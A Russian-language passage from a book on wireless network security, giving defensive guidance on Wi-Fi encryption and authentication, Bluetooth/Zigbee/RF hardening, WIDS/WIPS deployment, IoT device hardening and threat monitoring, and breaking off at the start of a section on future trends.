Шаг 3: Укрепление устройств Bluetooth, Zigbee и RF
IoT-устройства полагаются не только на Wi-Fi - многие используют Bluetooth, Zigbee, Z-Wave или протоколы RF. Эти беспроводные технологии сопряжены с собственными рисками безопасности.
✅ Отключайте Bluetooth и NFC, когда они не используются - Если вы активно не используете Bluetooth или NFC, отключите их. Злоумышленники могут использовать их для кражи данных или атак с ретрансляцией.
✅ Используйте Zigbee 3.0 или Z-Wave S2 для устройств умного дома - Старые версии имеют слабую безопасность. Если ваши устройства умного дома работают на устаревших протоколах Zigbee/Z-Wave, рассмотрите возможность обновления.
✅ Защитите IoT-устройства на базе RF - Если у вас есть IoT-устройства, которые обмениваются данными по радиочастотным сигналам (например, открыватели гаражных ворот или умные замки), убедитесь, что они используют динамические коды для предотвращения атак воспроизведения.

Шаг 4: Мониторинг и обнаружение атак до их возникновения
Вы не можете остановить то, чего не видите. Настройка обнаружения вторжений и мониторинга помогает выявлять атаки до их эскалации.
✅ Используйте систему обнаружения беспроводных вторжений (WIDS) - WIDS может обнаруживать поддельные устройства, подозрительный трафик и атаки MITM в вашей сети. Популярные варианты включают Kismet и Snort.
✅ Регулярно сканируйте сеть на наличие неизвестных устройств - Инструменты, такие как Fing и Nmap, помогают выявлять неавторизованные устройства, скрывающиеся в вашей сети.
✅ Включите журналы и оповещения маршрутизатора - Большинство маршрутизаторов имеют журналы безопасности, которые отслеживают подозрительные попытки подключения. Включите их и регулярно просматривайте.
✅ Отслеживайте трафик IoT-устройств с помощью Wireshark - Если вы подозреваете, что устройство ведет себя странно, анализ его сетевого трафика может выявить неавторизованные передачи данных или вредоносную активность.

Шаг 5: Держите ваши IoT-устройства обновленными
IoT-устройства редко обновляются сами, и многие производители прекращают поддержку через несколько лет. Вот как оставаться защищенным:
✅ Включите автоматические обновления прошивки - Если ваше устройство поддерживает автоматические обновления, включите их. Новые уязвимости обнаруживаются постоянно, и исправления помогают держать хакеров подальше.
✅ Регулярно проверяйте наличие исправлений безопасности - Если автоматические обновления недоступны, вручную проверяйте веб-сайт производителя на наличие обновлений прошивки как минимум раз в месяц.
✅ Заменяйте устаревшие IoT-устройства - Если ваше IoT-устройство не получало обновлений годами, это риск безопасности. Рассмотрите возможность замены его на более безопасную модель.
Заключительные мысли: заставьте хакеров пожалеть о том, что они нацелились на вас
Суровая правда? Безопасность IoT по-прежнему остается проблемой. Многие устройства не разрабатываются с учетом безопасности, и злоумышленники это знают. Но с правильной защитой вы можете превратить свою беспроводную сеть IoT в крепость, с которой хакеры не захотят связываться.
В конечном итоге, защита IoT-устройств - это не просто защита гаджетов, это защита ваших данных, конфиденциальности и личной безопасности. Так что действуйте сегодня. Укрепите свои сети, заблокируйте свои устройства и убедитесь, что если хакер все же нацелится на вас... он уйдет разочарованным.


Глава 10: Беспроводная безопасность​

Лучшие практики и стратегии защиты

Хакеры похожи на енотов - если вы оставите свой цифровой мусор незащищенным, они будут копаться в нем. Беспроводная безопасность - это не только знание атак; это знание того, как их предотвратить. И хотя в Интернете полно ужасных советов по безопасности (просто используйте очень сильный пароль, чувак), мы сосредоточимся на том, что действительно работает.
Эта глава описывает лучшие практики для защиты беспроводных сетей, охватывая методы аутентификации, стратегии шифрования и системы обнаружения беспроводных вторжений (WIDS/WIPS). Мы также рассмотрим реальные примеры и обсудим будущее беспроводной безопасности по мере развития угроз. Независимо от того, являетесь ли вы специалистом по безопасности или просто человеком, который не хочет, чтобы его Wi-Fi угнали соседским мальчишкой, эти стратегии защиты помогут вам оставаться в безопасности.

10.1 Реализация безопасной беспроводной аутентификации и шифрования​

Почему пароли похожи на туалетную бумагу (и почему вам нужна лучшая безопасность)
Послушайте, я понимаю - никто не любит думать о паролях. Они похожи на туалетную бумагу: вас не волнуют, пока они не закончатся, а когда заканчиваются, вы в большой беде. То же самое касается беспроводной аутентификации и шифрования. Большинство людей устанавливают пароль Wi-Fi один раз, забывают о нем на годы и считают, что они в безопасности. Тем временем хакеры взламывают слабое шифрование, обходят устаревшие настройки безопасности и угоняют плохо защищенные сети, как будто это их полная занятость (что для многих так и есть).
Если вы используете старомодный пароль Wi-Fi, который не менялся с момента первого подключения маршрутизатора, поздравляем - вы практически расстилаете красную ковровую дорожку для киберпреступников. Но не волнуйтесь. Эта глава здесь, чтобы помочь вам укрепить вашу беспроводную аутентификацию, обновить шифрование и убедиться, что ваша сеть не станет игровой площадкой для хакеров.

Основа беспроводной безопасности: аутентификация и шифрование

Беспроводная безопасность сводится к двум основным столпам:
● Аутентификация - проверка того, кто имеет право подключаться к вашей сети.
● Шифрование - защита данных, передаваемых по этой сети.
Без надежной аутентификации кто угодно может подключиться к вашему Wi-Fi, Bluetooth или системе на базе RF. Без надежного шифрования, даже если у хакеров нет доступа, они все равно могут перехватить и прочитать ваши данные.
Итак, как все это заблокировать? Давайте разберем по шагам.

Шаг 1: Откажитесь от устаревшего шифрования Wi-Fi (WEP, WPA и слабый WPA2)
Некоторые меры безопасности настолько устарели, что должны сопровождаться предупреждающим знаком. Вот плохое и хорошее, когда дело доходит до стандартов шифрования Wi-Fi:
❌ WEP (Wired Equivalent Privacy) - Если вы все еще используете WEP, просто прекратите. Этот протокол настолько сломан, что взлом его пароля можно выполнить за минуты с помощью таких инструментов, как Aircrack-ng.
❌ WPA (Wi-Fi Protected Access) - Немного лучше, чем WEP, но все еще уязвим для словарных атак. Избегайте этого.
⚠️ WPA2 (Wi-Fi Protected Access 2) - Это все еще распространенный стандарт, но у него есть некоторые слабости, особенно если вы используете WPA2-PSK (Pre-Shared Key). Надежный пароль имеет решающее значение.
✅ WPA3 (Wi-Fi Protected Access 3) - Лучший вариант, доступный сегодня. WPA3 исправляет многие уязвимости WPA2, значительно затрудняет атаки методом перебора и использует Simultaneous Authentication of Equals (SAE) вместо традиционных методов рукопожатия. Если ваш маршрутизатор поддерживает WPA3, используйте его.
Профессиональный совет: Если вы застряли с WPA2, по крайней мере, убедитесь, что это WPA2-Enterprise, а не WPA2-PSK. Enterprise-аутентификация добавляет дополнительный уровень безопасности с помощью сервера RADIUS.

Шаг 2: Используйте надежную аутентификацию (не только хороший пароль)
Надежный пароль Wi-Fi - это хорошее начало, но аутентификация - это больше, чем просто пароли. Вот как ужесточить контроль доступа:
✅ Используйте WPA3-Enterprise, если возможно - Он требует индивидуальных учетных данных пользователя вместо общего пароля, что значительно затрудняет его взлом.
✅ Включите многофакторную аутентификацию (MFA) для Wi-Fi - Некоторые корпоративные настройки Wi-Fi позволяют интегрировать MFA для дополнительной безопасности. Если доступно, используйте ее.
✅ Внедрите фильтрацию MAC-адресов (с осторожностью) - Ограничение доступа по MAC-адресу звучит хорошо, но подделку MAC-адресов легко выполнить. Используйте это как дополнительный уровень, а не как основную защиту.
✅ Отключите WPS (Wi-Fi Protected Setup) - WPS делает взлом доступа к сети методом перебора слишком легким. Отключите его немедленно.

Шаг 3: Защита сетей Bluetooth и RF
Не только Wi-Fi требует надежной аутентификации и шифрования. Bluetooth, Zigbee и RF-сети также уязвимы.
🔹 Используйте Bluetooth Secure Simple Pairing (SSP) - Если ваши устройства поддерживают SSP вместо устаревшего сопряжения, включите его. Это предотвращает атаки методом перебора PIN-кодов.
🔹 Отключайте Bluetooth, когда он не используется - Это останавливает атаки типа "drive-by pairing" и предотвращает сканирование вашего устройства злоумышленниками.
🔹 Включите шифрование для устройств Zigbee и Z-Wave - Многие устройства умного дома по умолчанию используют незашифрованную связь. Проверьте настройки устройства и включите шифрование, если оно доступно.
🔹 Используйте динамические коды для RF-устройств - Если у вас есть IoT-устройства на базе RF (например, открыватели гаражных ворот), убедитесь, что они используют динамические коды для предотвращения атак воспроизведения.

Шаг 4: Реализация расширенного шифрования для дополнительной безопасности
Если вам нужна защита военного уровня для ваших беспроводных сетей, выведите шифрование на новый уровень:
🔒 Включите шифрование AES-256 - WPA3 использует AES-256, который значительно безопаснее старого шифрования TKIP. Всегда выбирайте AES.
🔒 Используйте VPN для дополнительной безопасности - Если вы хотите зашифровать весь трафик, даже если кто-то находится в вашей сети Wi-Fi, направьте свои устройства через VPN.
🔒 Включите SSL/TLS для IoT-устройств - Некоторые устройства умного дома и промышленные IoT-устройства передают данные в открытом виде. Проверьте, поддерживают ли ваши устройства шифрование SSL/TLS, и включите его.
🔒 Используйте смешанный режим WPA2/WPA3 для совместимости -
Если у вас есть старые устройства, которые не поддерживают WPA3, используйте смешанный режим WPA2/WPA3, чтобы обеспечить максимально возможную безопасность.

Шаг 5: Регулярное обслуживание и мониторинг безопасности
Даже лучшие методы шифрования и аутентификации не помогут, если вы настроили их и забыли. Будьте на шаг впереди хакеров благодаря регулярным проверкам безопасности:
🔍 Регулярно обновляйте прошивку маршрутизатора - Обновления безопасности устраняют уязвимости до того, как злоумышленники смогут их использовать. Проверяйте наличие обновлений как минимум раз в месяц.
🔍 Отслеживайте сетевой трафик на предмет аномалий - Используйте инструменты мониторинга сети, такие как Wireshark, чтобы выявлять необычную активность. Если устройство отправляет данные, когда не должно, расследуйте это.
🔍 Проводите регулярные аудиты безопасности - Тестируйте свою сеть с помощью инструментов тестирования на проникновение, чтобы находить и устранять уязвимости до того, как это сделают злоумышленники.
🔍 Используйте межсетевой экран (Firewall) и систему обнаружения вторжений (IDS) - Межсетевой экран блокирует несанкционированные подключения, а IDS оповещает вас о подозрительной активности.

Заключительные мысли: Хакеры ненавидят защищенные сети (сделайте свою неуязвимой)

В конечном итоге, безопасность беспроводных сетей заключается в том, чтобы сделать вашу сеть слишком сложной для взлома. Большинство киберпреступников ленивы - если взлом вашей сети требует слишком больших усилий, они перейдут к более легкой цели. Будьте на шаг впереди. Используйте надежную аутентификацию, включите современное шифрование, отключите ненужные функции и следите за своей сетью как ястреб. Ваш Wi-Fi - это вход в вашу цифровую жизнь; защищайте его так, будто он стоит миллионы.
Потому что, если хакеры проникнут, вы будете делиться не только своим интернетом... вы будете делиться своими данными, конфиденциальностью и, возможно, даже своим банковским счетом.
💀 Так что вперед - защитите ее как профессионал.

10.2 Системы обнаружения и предотвращения беспроводных вторжений (WIDS/WIPS)​

Почему хакеры любят бесплатный Wi-Fi (и почему вам не стоит)
Позвольте нарисовать вам картину. Вы находитесь в своем любимом кафе, потягиваете слишком дорогой латте, непринужденно просматриваете телефон, когда - БАМ! Ваши учетные данные только что украдены. Нет, ваш телефон не украли физически (хотя это тоже было бы плохо). Вместо этого они провели беспроводную атаку, перехватив ваши данные или обманом заставив ваше устройство подключиться к вредоносной точке доступа.
Хакеры любят плохо защищенные сети Wi-Fi так же, как еноты любят оставленную без присмотра мусорную банку - они ныряют прямо туда, устраивают беспорядок и оставляют вас гадать, что только что произошло.
Вот почему компании, организации и люди, заботящиеся о безопасности, используют системы обнаружения беспроводных вторжений (WIDS) и системы предотвращения беспроводных вторжений (WIPS), чтобы держать этих цифровых енотов на расстоянии.
Теперь давайте разберемся, что такое WIDS и WIPS, как они работают и почему вам следует рассмотреть их использование, если вы не хотите, чтобы хакеры рыскали по вашей сети, как по шведскому столу.Что такое WIDS и WIPS?

Простыми словами:

● WIDS (Система обнаружения беспроводных вторжений):
Обнаруживает подозрительную активность в вашей беспроводной сети, но активно не останавливает ее. Представьте себе камеру видеонаблюдения - она видит плохих парней, но не нападает на них.
● WIPS (Система предотвращения беспроводных вторжений):
Обнаруживает и блокирует несанкционированные попытки доступа и атаки. Это вышибала в клубе - он не только видит, кто пытается проскользнуть внутрь, но и выпроваживает их, прежде чем они успеют создать проблемы.
В то время как WIDS - это пассивный мониторинг, WIPS - это активная защита.
В идеале вы хотите, чтобы обе системы работали вместе для обнаружения и остановки угроз в режиме реального времени.

Зачем вам нужны WIDS/WIPS?

Беспроводные сети по своей природе более уязвимы, чем проводные. Любой в пределах досягаемости может попытаться подключиться, перехватить данные или запустить атаки. Без надлежащего мониторинга и защиты вы действуете вслепую. Вот несколько причин, почему WIDS/WIPS важны:
● Обнаружение вредоносных точек доступа - Злоумышленники могут создавать сети Evil Twin или вредоносные точки доступа, которые обманом заставляют пользователей подключаться к ним вместо легитимной сети Wi-Fi.
● Предотвращение атак деаутентификации - Инструменты, такие как MDK3 и aireplay-ng, могут отключать пользователей от сетей, чтобы заставить их переподключиться к вредоносным точкам доступа. WIPS может обнаруживать и блокировать такие атаки.
● Предотвращение несанкционированных устройств - Сотрудники, приносящие личные точки доступа или неавторизованные маршрутизаторы в корпоративную среду, могут создавать серьезные риски безопасности.
● Смягчение атак "человек посередине" (MITM) - Беспроводные снифферы могут перехватывать пакеты данных и красть учетные данные, если шифрование слабое. WIPS может блокировать вредоносные снифферы.
● Обнаружение спуфинга MAC-адресов и аномального поведения - Некоторые злоумышленники пытаются подделать MAC-адреса устройств, чтобы обойти фильтры безопасности. WIDS может выявлять подозрительные изменения MAC-адресов.
Итог: WIDS/WIPS - это ваша система раннего предупреждения и первая линия обороны от атак на основе Wi-Fi.

Как работают WIDS/WIPS

WIDS и WIPS функционируют путем непрерывного мониторинга беспроводной среды на предмет подозрительной активности. Вот как они это делают:
1. Пассивный мониторинг и анализ пакетов
WIDS захватывает беспроводной трафик и ищет шаблоны известных атак, несанкционированных устройств или аномальной активности. Если происходит что-то подозрительное, он отправляет оповещения командам безопасности.
2. Активная защита и автоматическая блокировка
WIPS идет дальше, автоматически блокируя вредоносные устройства, неавторизованные точки доступа или подозрительные пакеты до того, как они смогут причинить вред.
3. Обнаружение на основе сигнатур и аномалий
● На основе сигнатур: Сравнивает трафик с известными сигнатурами атак (например, обнаружение кадров деаутентификации или вредоносных точек доступа).
● На основе аномалий: Использует машинное обучение или поведенческий анализ для выявления необычной сетевой активности.
4. Отслеживание местоположения и идентификация устройств
Расширенные решения WIPS могут триангулировать местоположение вредоносных точек доступа и идентифицировать устройства, чтобы определить, являются ли они легитимными или угрозами.

Развертывание WIDS/WIPS: Как настроить

Настройка WIDS/WIPS - это не так просто, как щелкнуть выключателем; вам нужно стратегически развернуть датчики и настроить политики. Вот как:
1. Выберите модель развертывания
Существует три основных способа развертывания WIDS/WIPS:
✅ Облачное - Управляемые решения, такие как Cisco Meraki Air Marshal, обеспечивают облачную безопасность беспроводных сетей без необходимости использования локального оборудования. Лучше всего подходит для бизнеса и предприятий.
✅ Локальное - Аппаратные WIPS, такие как AirMagnet Enterprise или Aruba RFProtect, требуют выделенных устройств, но предлагают больший контроль.
✅ Сделай сам/Открытый исходный код - Специалисты по безопасности и исследователи могут использовать Kismet, Snort или Suricata для создания WIDS/WIPS на основе открытого исходного кода.
2. Стратегически разверните датчики WIDS/WIPS
Для максимального покрытия размещайте датчики рядом с ключевыми точками доступа, зонами с высокой проходимостью и известными слабыми местами. Избегайте слепых зон, где злоумышленники могут действовать незамеченными.
3. Определите политики и правила автоматического реагирования
Настройте WIPS для автоматической блокировки вредоносных точек доступа, добавления подозрительных MAC-адресов в черный список и оповещения команд безопасности при обнаружении атаки.
4. Регулярно обновляйте сигнатуры атак и информацию об угрозах
Беспроводные угрозы постоянно развиваются. Поддерживайте свои WIDS/WIPS в актуальном состоянии с последними сигнатурами атак и моделями машинного обучения для обнаружения аномалий.
5. Проводите периодические аудиты безопасности
Протестируйте свою установку WIDS/WIPS с помощью инструментов тестирования на проникновение, таких как:
● Kali Linux (инструменты для атак на Wi-Fi)
● Wireshark (анализ и перехват пакетов)
● Aircrack-ng (тестирование WEP/WPA2)
Ограничения WIDS/WIPS (и как их преодолеть)
Хотя WIDS/WIPS мощны, они не являются панацеей.

Вот некоторые распространенные ограничения и способы их устранения:

🔹 Ложные срабатывания - Легитимные устройства могут вызывать оповещения. Тонко настройте правила обнаружения, чтобы уменьшить количество ложных тревог.
🔹 Спуфинг MAC-адресов - Злоумышленники могут клонировать MAC-адреса для обхода обнаружения. Используйте поведенческий анализ и идентификацию устройств вместо того, чтобы полагаться только на фильтрацию MAC-адресов.
🔹 Скрытые SSID и скрытные атаки - Некоторые атаки избегают обнаружения, скрывая SSID или используя сканирование с низким профилем. Регулярное тестирование на проникновение помогает выявить слепые зоны.
🔹 Требовательность к ресурсам - Расширенные решения WIPS требуют выделенного оборудования и вычислительной мощности. Убедитесь, что ваша сетевая инфраструктура может это поддерживать.

Заключительные мысли: Будьте на шаг впереди хакеров

Если ваша беспроводная сеть не отслеживается, вы можете так же хорошо оставить входную дверь открытой с табличкой: "Заходите, хакеры!" Именно для этого и существуют WIDS и WIPS - чтобы не пускать злоумышленников, прежде чем они успеют нанести ущерб.
Реальность такова, что Wi-Fi атаки становятся все более умными и автоматизированными. Если вы активно не обнаруживаете и не блокируете угрозы, вы играете в оборону со связанными за спиной руками. Так что, независимо от того, являетесь ли вы бизнесом, защищающим конфиденциальные данные, или просто человеком, заботящимся о безопасности, который не хочет, чтобы его учетная запись Netflix была взломана, WIDS/WIPS являются важными инструментами в вашем арсенале безопасности беспроводных сетей.
И помните, единственная безопасная сеть Wi-Fi - это та, которую хакеры считают слишком надоедливой, чтобы с ней возиться. Сделайте свою такой.

10.3 Укрепление безопасности IoT и встраиваемых беспроводных устройств​

Почему безопасность IoT похожа на игру "Крот"

Безопасность IoT похожа на присмотр за кучей гиперактивных малышей - они повсюду, не слушаются, и если отвернешься на секунду, начинается хаос. Только вместо того, чтобы бросать еду в стены, эти маленькие нарушители спокойствия утекают конфиденциальные данные, попадают в ботнеты или открывают бэкдоры в вашу сеть.
И самое худшее? Производители не всегда уделяют приоритетное внимание безопасности - они слишком заняты выпуском "умных" кофеварок и интернет-подключенных тостеров, чтобы думать о шифровании, безопасной аутентификации или обновлениях прошивки. Так что это оставляет нам (людям, заботящимся о безопасности) восхитительную задачу по укреплению этих устройств, прежде чем они станут шведским столом для хакеров.
Давайте разберемся, как мы можем заблокировать IoT и встраиваемые беспроводные устройства, уменьшить поверхности атаки и сделать жизнь хакеров невыносимой.

Почему IoT и встраиваемые устройства так уязвимы?

IoT-устройства создавались не для безопасности - они создавались для удобства. Это означает, что они часто поставляются со слабой аутентификацией, устаревшей прошивкой и небезопасными настройками по умолчанию. Вот основные причины, по которым они становятся легкой мишенью:
● Учетные данные по умолчанию - Многие IoT-устройства поставляются с жестко закодированными именами пользователей и паролями, такими как admin/admin (серьезно, почему это до сих пор существует?).
● Слабое или отсутствующее шифрование - Некоторые устройства передают конфиденциальные данные в открытом виде, что облегчает их перехват и манипулирование.
● Небезопасная прошивка - Устройства часто работают на устаревшей, неисправленной прошивке с известными уязвимостями.
● Чрезмерное сетевое раскрытие - Некоторые IoT-гаджеты транслируют свое присутствие в Интернете, просто ожидая, пока хакеры найдут их с помощью Shodan.
● Отсутствие обновлений безопасности - В отличие от традиционных компьютеров, многие IoT-устройства никогда не получают исправлений, что означает, что уязвимости остаются эксплуатируемыми навсегда.
Если вы используете IoT-устройства дома или в бизнесе, не укрепляя их, вы, по сути, передаете хакерам ключи от своей сети. Давайте это исправим.

Шаги по обеспечению безопасности IoT и встраиваемых беспроводных устройств

1. Измените учетные данные по умолчанию (очевидно, но серьезно)
Первое, что делают злоумышленники при нацеливании на IoT-устройства, - это пытаются использовать имена пользователей и пароли по умолчанию. Сайты, такие как https://www.iotpasswords.com, даже перечисляют учетные данные по умолчанию для тысяч устройств.✅
Действие: Измените все учетные данные по умолчанию на длинные, уникальные пароли. Используйте менеджер паролей, если необходимо.

2. Отключите ненужные службы и функции
Многие IoT-устройства поставляются с предустановленными службами, которые вам не нужны, такими как telnet, SSH или UPnP - каждая из них является потенциальной точкой входа для злоумышленников.
✅ Действие: Отключите любые ненужные службы, функции удаленного доступа и открытые порты.

3. Сегментируйте IoT-устройства в отдельной сети
Вы же не пригласите незнакомцев в свою спальню, так зачем позволять IoT-устройствам с сомнительной безопасностью находиться в той же сети, что и ваши конфиденциальные данные?
✅ Действие: Используйте VLAN или отдельный SSID для IoT-устройств. Таким образом, если одно из них будет скомпрометировано, оно не предоставит злоумышленникам доступ к вашей основной сети.

4. Обновляйте прошивку (если возможно)
Обновления прошивки устраняют уязвимости, но многие производители IoT даже не удосуживаются их выпускать. Некоторые устройства требуют ручного обновления, которое пользователи часто игнорируют.
✅ Действие: Регулярно проверяйте наличие обновлений прошивки и применяйте их как можно скорее. Если производитель не предоставляет обновлений, рассмотрите возможность замены устройства.

5. Используйте надежное шифрование для беспроводной связи
Многие IoT-устройства передают конфиденциальные данные без шифрования, что делает их основными целями для перехвата пакетов и атак MITM.
✅ Действие:
● Убедитесь, что устройства поддерживают WPA2/WPA3 для Wi-Fi.
● Если устройство поддерживает шифрование TLS, включите его.
● Отключите незащищенные протоколы, такие как HTTP (всегда используйте HTTPS).

6. Защитите MQTT, CoAP и другие протоколы IoT
Многие IoT-устройства используют такие протоколы, как MQTT, CoAP или Zigbee, но настройки по умолчанию часто небезопасны. Например, MQTT не шифрует трафик, если он не настроен должным образом.
✅ Действие:
● Используйте шифрование TLS для соединений MQTT.
● Реализуйте аутентификацию (не разрешайте анонимные подключения).
● При использовании Zigbee или Z-Wave включите надежное управление ключами.

7. Отслеживайте сетевой трафик и журналы
Если IoT-устройство отправляет данные на подозрительный IP-адрес, вы хотите знать об этом до того, как это превратится в полномасштабную атаку.
✅ Действие:
● Настройте инструменты мониторинга сети (например, Zeek, Security Onion или Suricata).
● Используйте межсетевой экран или IDS/IPS для обнаружения необычных шаблонов трафика.
● Регулярно проверяйте журналы устройств на наличие попыток несанкционированного доступа.

8. Отключите удаленное управление и облачные зависимости
Некоторые IoT-устройства подключаются к облачным службам производителя для удаленного управления, что добавляет еще одну поверхность атаки. В случае компрометации злоумышленники могут получить полный контроль над вашим устройством.
✅ Действие:
● Отключите удаленный доступ, если это не абсолютно необходимо.
● По возможности используйте локальное управление вместо облачных служб.
● Убедитесь, что облачная служба имеет надежную аутентификацию и шифрование.

9. Внедрите фильтрацию MAC-адресов и списки разрешенных устройств
Хотя MAC-адреса можно подделать, фильтрация все же может добавить уровень безопасности против случайных атак.
✅ Действие:
● Добавьте известные устройства в белый список на вашем маршрутизаторе.
● Используйте аутентификацию 802.1X для корпоративных сред.

10. Физически защитите встраиваемые устройства
Многие встраиваемые системы имеют открытые отладочные интерфейсы, такие как JTAG, UART или I2C, которые злоумышленники могут использовать для извлечения прошивки и эксплуатации.
✅ Действие:
● Если вы владеете устройством, отключите или заблокируйте физические отладочные порты.
● Если вы разработчик, реализуйте безопасную загрузку и шифрование прошивки.

Заключительные мысли: Сделайте взлом IoT кошмаром для хакеров

Будем честны - большинство производителей IoT не будут уделять приоритетное внимание безопасности, если их не заставят. Это означает, что наша задача - все заблокировать, прежде чем наши умные холодильники начнут добывать Биткойн для российских ботнетов.
Следуя этим шагам, вы превратите свои IoT-устройства из легких мишеней в надоедливо защищенные, заставляя злоумышленников перейти к чужому незащищенному умному термостату.
Потому что в конечном итоге безопасность - это не то, чтобы быть на 100% неуязвимым для взлома, а то, чтобы быть более сложным для взлома, чем ваш сосед.
🔒🔥 И если это означает, что ваш тостер с Wi-Fi станет крепостью шифрования, пусть будет так.

10.4 Мониторинг и реагирование на угрозы безопасности беспроводных сетей​

Искусство обнаружения хакеров до того, как они испортят вам день

Признаем - хакеры обожают беспроводные сети. Почему? Потому что люди относятся к Wi-Fi как к шведскому столу: открытый доступ, минимальная безопасность и полное отсутствие мониторинга. Это как оставить входную дверь незапертой с неоновой вывеской: "Заходите, внутри бесплатные данные!"
Хотя мы знаем лучше (или, по крайней мере, стараемся), большинство сетей по-прежнему остаются легкой добычей для кибератак. Вот почему мониторинг беспроводных угроз - это не опция, а цифровой эквивалент установки камер видеонаблюдения для вашей сети.
Цель? Обнаружить и остановить угрозы до того, как они перерастут в полномасштабные катастрофы.
Итак, как же нам поймать этих хитрых злоумышленников, прежде чем они взломают ваш Wi-Fi, перехватят ваши данные или создадут вредоносные точки доступа? Хорошо, что вы спросили.

Понимание угроз безопасности беспроводных сетей

Угрозы безопасности беспроводных сетей бывают разных форм, но наиболее распространенные относятся к трем категориям:
1. Несанкционированный доступ (вторжения и вредоносные точки доступа)
● Хакеры создают поддельные точки доступа Wi-Fi (атаки Evil Twin).
● В вашу сеть тайно добавляются вредоносные точки доступа.
● Злоумышленники угадывают или подбирают слабые пароли Wi-Fi методом перебора.

2. Атаки "человек посередине" (MITM)
● Перехват пакетов в незашифрованном трафике.
● ARP-отравление и DNS-спуфинг для перехвата соединений.
● SSL-стриппинг для понижения уровня безопасных соединений.

3. Атаки отказа в обслуживании (DoS) по беспроводной сети
● Атаки деаутентификации отключают пользователей от сети.
● Атаки глушения перегружают эфир помехами.
● Злоумышленники используют уязвимости протоколов для создания сбоев.

Каждая из этих угроз может парализовать вашу сеть, украсть учетные данные или раскрыть конфиденциальные данные. Вот почему мониторинг в реальном времени и быстрое реагирование имеют решающее значение.

Шаг 1: Настройка системы мониторинга беспроводных угроз
Хорошая система мониторинга помогает вам обнаруживать аномальную активность, несанкционированные точки доступа и потенциальные атаки до того, как они обострятся. Вот что вам нужно:
✅ 1. Системы обнаружения беспроводных вторжений (WIDS)
WIDS действует как цифровой сторожевой пес, постоянно сканируя подозрительную активность и несанкционированные устройства. Популярные варианты включают:
● Kismet - Отлично подходит для пассивного обнаружения вредоносных точек доступа и атак.
● Aircrack-ng - Полезен для мониторинга трафика Wi-Fi в реальном времени.
● Wifipumpkin3 - Помогает обнаруживать атаки Evil Twin и MITM.
✅ 2. Перехват и анализ беспроводных пакетов
Перехватчики пакетов помогают вам проверять сетевой трафик на наличие признаков компрометации. Лучшие инструменты включают:
● Wireshark - Золотой стандарт сетевого анализа.
● Tcpdump - Легкий анализатор пакетов на основе командной строки.
● Bettercap - Отлично подходит для мониторинга в реальном времени и обнаружения MITM.
✅ 3. Анализ сигналов и обнаружение глушения
Инструменты мониторинга беспроводных сигналов помогают обнаруживать радиочастотные помехи, атаки глушения и несанкционированные сигналы.
● HackRF + GNU Radio - Полезно для обнаружения подозрительной радиочастотной активности.
● RTL-SDR - Может использоваться для анализа неизвестных сигналов в диапазонах Wi-Fi, Bluetooth и RF.

Шаг 2: Выявление и реагирование на беспроводные угрозы
Теперь, когда у вас есть мониторинг, давайте поговорим о том, как выявлять и реагировать на распространенные угрозы.
🛑 Вредоносные точки доступа и атаки Evil Twin

Обнаружение:
● Используйте Kismet или WIDS для сканирования неизвестных точек доступа.
● Ищите дублирующиеся SSID с разными MAC-адресами.
● Проверяйте неожиданную силу сигнала (точка доступа злоумышленника может быть сильнее вашего легитимного Wi-Fi).

Реагирование:
✅ Немедленно отключайтесь от подозрительных сетей.✅
Используйте аутентификацию WPA2/WPA3 Enterprise (EAP-TLS) для предотвращения несанкционированных точек доступа.
✅ Вручную проверяйте все новые точки доступа перед подключением.
🛑 Атаки MITM и перехват пакетов

Обнаружение:
● Используйте Wireshark для проверки неожиданных ARP-ответов (указывающих на ARP-отравление).
● Запустите arp -a в вашей системе - если вы видите дублирующиеся MAC-адреса, вы можете быть под атакой.
● Проверяйте попытки SSL-стриппинга (понижение уровня соединений HTTP).

Реагирование:
✅ Принудительно используйте HTTPS-соединения (используйте плагины для браузера, такие как HTTPS Everywhere).
✅ Реализуйте статические ARP-таблицы для предотвращения ARP-отравления.
✅ Используйте VPN для шифрования всего трафика в недоверенных сетях.
🛑 Атаки деаутентификации и DoS по беспроводной сети

Обнаружение:
● Используйте WIDS для мониторинга чрезмерного количества кадров деаутентификации (высокое количество деаутентификаций = атака в процессе).
● Проверяйте журналы на наличие повторяющихся отключений на нескольких устройствах.
● Используйте направленную антенну для определения источников глушения.

Реагирование:
✅ Включите защищенные управляющие кадры (PMF) для защиты от атак деаутентификации.
✅ Используйте диапазон 5 ГГц или проводные соединения, когда это возможно (менее уязвимы к глушению).
✅ Определите источник сигнала злоумышленника и сообщите властям (при необходимости).Шаг 3: Автоматизация реагирования на беспроводные угрозы
Ручное обнаружение и реагирование на угрозы утомительно. Вот почему автоматизация - ваш лучший друг.

💡 Используйте обнаружение угроз на основе ИИ

Платформы, такие как Cisco Umbrella, Aruba ClearPass и Darktrace, используют ИИ для обнаружения аномалий и предотвращения распространения угроз.

💡 Настройте оповещения и автоматизированные действия

● Настройте правила межсетевого экрана для автоматической блокировки несанкционированных точек доступа.
● Используйте инструменты IDS/IPS (например, Snort, Suricata) для блокировки подозрительного трафика.
● Настройте оповещения в Wireshark или Kismet, чтобы получать уведомления об атаках.

Заключительные мысли: Будьте на шаг впереди хакеров

Безопасность беспроводных сетей - это не игра "настроил и забыл", а постоянная погоня между защитниками и злоумышленниками. Ключ к тому, чтобы оставаться впереди, - это проактивный мониторинг и быстрое реагирование.
Внедряя WIDS, инструменты анализа пакетов и автоматизированные оповещения, вы превращаете свою сеть из легкой мишени в самый страшный кошмар хакера.
А если ничего не помогает? Просто отключите Wi-Fi и скажите всем, что это "время технического обслуживания".

10.5 Будущие тенденции во взломе и безопасности беспроводных сетей​

Добро пожаловать в будущее - где у хакеров тоже есть ИИ-помощники
Помните, когда взлом Wi-Fi сводился к тому, что какой-то парень в капюшоне сидел в темном подвале и взламывал пароли WEP на старом ноутбуке? Да, это были золотые времена. А теперь, заглянув в сегодняшний день, мы видим, что угрозы безопасности беспроводных сетей развивались быстрее, чем обновления роутера вашей бабушки.
Сегодня мы сталкиваемся с атаками на основе ИИ, квантово-устойчивым шифрованием, перехватом Wi-Fi с помощью дронов и даже хакерами, использующими сети 6G до того, как они станут мейнстримом.
Будущее взлома беспроводных сетей одновременно пугает и завораживает, и независимо от того, находитесь ли вы в красной команде (атакующие) или в синей команде (защитники), вам лучше быть готовыми.
Итак, что же нас ждет дальше? Давайте заглянем в хрустальный шар.

1. ИИ и машинное обучение в атаках и защите беспроводных сетей
Хакеры используют ИИ для автоматизации атак
● Атаки методом перебора на основе ИИ: больше не нужно угадывать пароли вручную - ИИ может предсказывать слабые учетные данные в реальном времени.
